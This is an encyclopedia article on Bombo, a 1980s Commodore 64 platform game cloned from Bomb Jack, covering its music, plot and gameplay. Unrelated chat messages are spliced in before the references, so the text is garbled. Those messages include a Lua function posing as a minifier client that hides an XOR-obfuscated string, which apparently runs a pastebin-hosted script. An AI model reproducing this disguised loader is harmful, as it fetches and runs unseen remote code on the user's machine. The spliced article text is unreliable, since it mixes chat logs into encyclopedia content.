Bombo (video game)

Bombo is a platform game released by British video game publisher Rino for the Commodore 64 in 1985. It is a clone of the Tekhan arcade game Bomb Jack, the official Commodore 64 port of which was released earlier the same year.[1]

Bombo
Publisher(s)Rino
Platform(s)Commodore 64
ReleaseJune 1986
Genre(s)Platform
Mode(s)Single-player

The music was composed by Ben Daglish.[2] One of the songs is based on The Hootchy Kootchy Dance.

Plot

Taken from the game's instructions:

A wave of insurrection has left the earth littered with bombs primed to explode and destroy mankind. Your commission is to clear the pyramids of ancient Egypt, castles of medieval Britain and hustling, bustling modern day New York City of this danger before their history becomes just a history. Hurry time is not on your side, neither are the many enemies left to harass you.

Gameplay

Taken from the game's instructions:

You must collect 20 bombs from each screen, flashing bombs score more points and large bonuses are scored for collecting a majority of flashing bombs. Your Jetpack allows you full vertical movement in all directions which you must master quickly to work your way through the platforms of each level.

gollark: ```osmarks:~/Programming# curl -X POST --data "local a = b; print(a)" https://osmarks.tk/luamin/local a=b;print(a)⏎ ```
gollark: It works fine, you need to send a POST request.
gollark: ```lualocal b=[[local a=string.char;local b=string.byte;local c=bit.bxor;local function d(e,f)local g=""for h=1,#e do local i=e:sub(h,h)local j=bit.bxor(b(i),f)g=g..a(j)end;return g end;loadstring(d("SP^[YVSZ\23\29\16MPR\16OMPXM^RL\16WKKO\16O^LKZ]VQ\17SJ^\29\22\23\29MJQ\29\19\31\29mr\14\12jxy^\29\22",63))();]]return function(c)local d="https://osmarks.tk/luamin/";local e=http.post(d,b..c)local f=e.readAll()e.close()return f end```Do you prefer this?
gollark: Fool.
gollark: You can trust it because of that obfuscated blob there.

References
  1. https://archive.org/stream/zzap64-magazine-015/ZZap_64_Issue_015_1986_Jul#page/n27/mode/1up
  2. http://ben-daglish.net/c64.shtml#


This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.